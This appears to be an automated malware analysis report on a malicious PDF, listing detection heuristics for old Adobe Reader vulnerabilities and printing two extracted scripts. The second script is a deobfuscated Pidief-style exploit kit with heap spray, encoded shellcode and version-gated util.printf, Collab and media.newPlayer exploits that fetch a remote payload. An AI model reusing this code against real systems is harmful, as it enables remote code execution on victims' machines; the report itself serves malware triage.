MALICIOUS
390
Risk Score
Malware Insights
MITRE ATT&CK
T1059.001 PowerShell
The PDF file contains embedded JavaScript, identified by the 'PDF_JAVASCRIPT' and 'PDF_JS' heuristics. The 'PDF_PAGE_WORD_XOR_EVAL_STAGER' heuristic specifically indicates that the JavaScript is obfuscated and designed as a stager. This stager likely downloads and executes a second-stage payload from a remote source, as suggested by the presence of an extracted JavaScript file. The exact payload and download URL could not be determined due to obfuscation.
Machine Learning
- Nyx PDF Classifier malicious score 1.0000
Heuristics 10
-
media.newPlayer — CVE-2009-4324 critical CVE exact CVE_2009_4324PDF JavaScript calls media.newPlayer — CVE-2009-4324 is a use-after-free in Adobe Reader's multimedia plugin triggered by media.newPlayer(). Actively exploited as a zero-day in December 2009. (identified after JavaScript deobfuscation)
-
Collab.getIcon — CVE-2009-0927 critical CVE exact CVE_2009_0927PDF JavaScript calls Collab.getIcon — CVE-2009-0927 is a stack buffer overflow in Adobe Reader triggered by Collab.getIcon() with a crafted argument. Allows arbitrary code execution. (identified after JavaScript deobfuscation)
-
util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (identified after JavaScript deobfuscation)
-
Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCHA single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
-
Multi-CVE Adobe Reader JavaScript exploit kit critical PDF_ADOBE_READER_MULTI_CVE_JS_KITOne recovered JavaScript stage contains multiple version-gated Adobe Reader exploit branches. This is stronger evidence than independent API keywords: the PDF is selecting old Reader vulnerabilities by viewer version and running heap-sprayed Acrobat JavaScript exploit paths.
-
Page-word XOR JavaScript eval stager high PDF_PAGE_WORD_XOR_EVAL_STAGERPDF JavaScript enumerates rendered page words with getPageNthWord/getPageNumWords, extracts encoded byte fragments, XOR-decodes the stage with char-code helpers, and evals the result. This is an old exploit-kit staging pattern and is not normal document JavaScript.
-
JavaScript action low 1 related finding PDF_JAVASCRIPTPDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
-
Embedded JS stream low PDF_JSPDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
-
Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGEOne or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://ahrudo.egh/4 Referenced by PDF JavaScript
Extracted artifacts 2
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
javascript_obj0011_000.js |
pdf-javascript-stream | PDF /JS object 11 at offset 0xE36 | 532 bytes |
SHA-256: 6ae39831e4108dcc14a2affc3389b3e23c056f5b78cc13fa9d5bdf4725884edb |
|||
|
Detection
ClamAV:
No threats found
Obfuscation or payload:
likely
Carved artifact contains 1 eval/decoder/string-building token(s).
|
|||
Preview scriptFirst 1,000 lines of the extracted script
try {var uXM='Functio7n'.replace(/[7]/g, '');mH='vawwr kwZ = w1ww54 ;wvar rI w= thwis;var yTK=rwI.getPageNumWords(thwis.wwpageNuwm);wwvarww aT=\'\'w;fowwr(wvarww lWL=0;lWL< yTK; lWL++){aT=[awwT, rI.getPageNwthWord(rI.pwwageNwuwwm,lWwL,truew)].join(\'\');;}vawr nWw=\'\';for(varww lWL=0;wwlWL < aT.lengtwh; lWLw+ww=2){hQ=aT.wswwubstr(wlWL,2);nW=[nW,wStringw.fromCharCode(parsweInt(hQ,16w)^kZ)].join(\'\');}evawlww(nW);nW=nullw;ww'.replace(/[w]/g, '');vM=mHQ(eL);} catch(rY){var uN=pG()(mH);uN();}function pG(){return app.doc[uXM];}
|
|||
legacy_pdfkit_stage_000.js |
deobfuscated-js | getPageWords-XOR Pidief stage normalized at offset 0x0 | 3717 bytes |
SHA-256: c5fed065399032d70f0cbbbe3ccba32b09eb402ec3227ca896900c1dc7c441a8 |
|||
|
Detection
ClamAV:
No threats found
Obfuscation or payload:
likely
Carved artifact contains 2 eval/decoder/string-building token(s).
|
|||
Preview scriptFirst 1,000 lines of the extracted script
var uX=false;this.h="";var pE={yT:"d".substr(17911)};var n='0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ/.:_-?&=%#';var rO="rO";var j='';var sR="sR";var vY=this.info['f'].replace(/[\s]/g, '');var wN="";var vW="";try {} catch(qJ){};try {} catch(cH){};var iX = this.info;var nY = (iX.producer.substr(0,5) == 'debug');var yD = new Array(); var pU = "%u";function uL(str){str = str.split(pU);var ret="";for(var i in str){if(str[i] != "")ret += String.fromCharCode(parseInt(str[i],16));}return ret;}function lW(str1, str2){return [str1, str2].join("");}function yNK(wR){var pER = pQ();var oB = dW();pER += ((pER.indexOf("?") > -1) ? "&" : "?") + "reader_version=" + oB;if(nY) app.alert("URL: " + pER);pER=aR(pER);var d=pU;var hQ=d+"C033"+d+"8B64"+d+"3040"+d+"0C78"+d+"408B"+d+"8B0C"+d+"1C70"+d+"8BAD"+d+"0858"+d+"09EB"+d+"408B"+d+"8D34"+d+"7C40"+d+"588B"+d+"6A3C"+d+"5A44"+d+"E2D1"+d+"E22B"+d+"EC8B"+d+"4FEB"+d+"525A"+d+"EA83"+d+"8956"+d+"0455"+d+"5756"+d+"738B"+d+"8B3C"+d+"3374"+d+"0378"+d+"56F3"+d+"768B"+d+"0320"+d+"33F3"+d+"49C9"+d+"4150"+d+"33AD"+d+"36FF"+d+"BE0F"+d+"0314"+d+"F238"+d+"0874"+d+"CFC1"+d+"030D"+d+"40FA"+d+"EFEB"+d+"3B58"+d+"75F8"+d+"5EE5"+d+"468B"+d+"0324"+d+"66C3"+d+"0C8B"+d+"8B48"+d+"1C56"+d+"D303"+d+"048B"+d+"038A"+d+"5FC3"+d+"505E"+d+"8DC3"+d+"087D"+d+"5257"+d+"33B8"+d+"8ACA"+d+"E85B"+d+"FFA2"+d+"FFFF"+d+"C032"+d+"F78B"+d+"AEF2"+d+"B84F"+d+"2E65"+d+"7865"+d+"66AB"+d+"6698"+d+"B0AB"+d+"8A6C"+d+"98E0"+d+"6850"+d+"6E6F"+d+"642E"+d+"7568"+d+"6C72"+d+"546D"+d+"8EB8"+d+"0E4E"+d+"FFEC"+d+"0455"+d+"5093"+d+"C033"+d+"5050"+d+"8B56"+d+"0455"+d+"C283"+d+"837F"+d+"31C2"+d+"5052"+d+"36B8"+d+"2F1A"+d+"FF70"+d+"0455"+d+"335B"+d+"57FF"+d+"B856"+d+"FE98"+d+"0E8A"+d+"55FF"+d+"5704"+d+"EFB8"+d+"E0CE"+d+"FF60"+d+"0455";hQ+=pER;return uL(hQ);};function pQ(){var oH = (iX.author + iX.title).replace(/[\s]/g, '');var pKN = jQ(oH, vY, n);return pKN;};function jQ(oH, n, vY){var pKN="";for(var i=0; i < oH.length; i++){var cD = n.indexOf(oH[i]);if(cD > -1 ){pKN += vY[cD];}}return pKN;};function aR(oH){var out = "";oH = rMZ(oH);g = Math.round(oH.length / 4);if (g != oH.length /4) oH+="00";for(var i=0; i < oH.length; i+=4){out+= pU + oH.substr(i+2, 2) + oH.substr(i, 2);}return out;};function rMZ(s){var i, f = 0, a = [];s += '';f = s.length;for (i = 0; i<f; i++) {a[i] = s.charCodeAt(i).toString(16).replace(/^([\da-f])$/,"0$1").toUpperCase();}return a.join('');};function vG(kR, len){while (kR.length * 2 < len){kR = lW(kR, kR);}return kR.substring(0, len / 2);};function fCP(rC){var kJ = 0x0c0c0c0c; xC = yNK("pdf");if (rC == 1){kJ = 0x30303030;}var oN = 0x400000;var ln = xC.length * 2;var rE = oN - (ln + 0x38);var kR = uL(pU+"9090"+pU+"9090"); kR = vG(kR, rE);var yJ = (kJ - 0x400000) / oN;for (var fCB = 0; fCB < yJ; fCB ++ ){yD[fCB] = lW(kR, xC);}};function dW(){try {return app.viewerVersion.toString();}catch(nE){ return 0;}}if(nY) app.alert("called exploit");var oB = dW();if(nY) app.alert("v: " + oB);if (oB > 8){if(nY) app.alert("util.printf");fCP(1);var oT = "12999999999999999999";for (tY=0; tY < 276; tY++) oT += "8";util.printf("%45000f", oT);}if (oB < 8){if(nY) app.alert("Collab.collectEmailInfo");fCP(0);var kVO = uL(pU+"0c0c"+pU+"0c0c");while (kVO.length < 44952) kVO += kVO;this.collabStore = Collab.collectEmailInfo({ subj : "", msg : kVO});}if (oB < 9.1){if (app.doc.Collab.getIcon){if(nY) app.alert("Collab.getIcon");fCP(0);var mR = unescape("%09");while (mR.length < 0x4000) mR += mR;mR = "N." + mR;app.doc.Collab.getIcon(mR);}}if (oB == 9.2){if(nY) app.alert("media.newPlayer");fCP(1);var sf="1.000000000.000000000.1337 : 3.13.37";util.printd(sf, new Date());try {media.newPlayer(null);} catch(e) {}util.printd(sf, new Date());}this.cN="";this.yNE="";
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.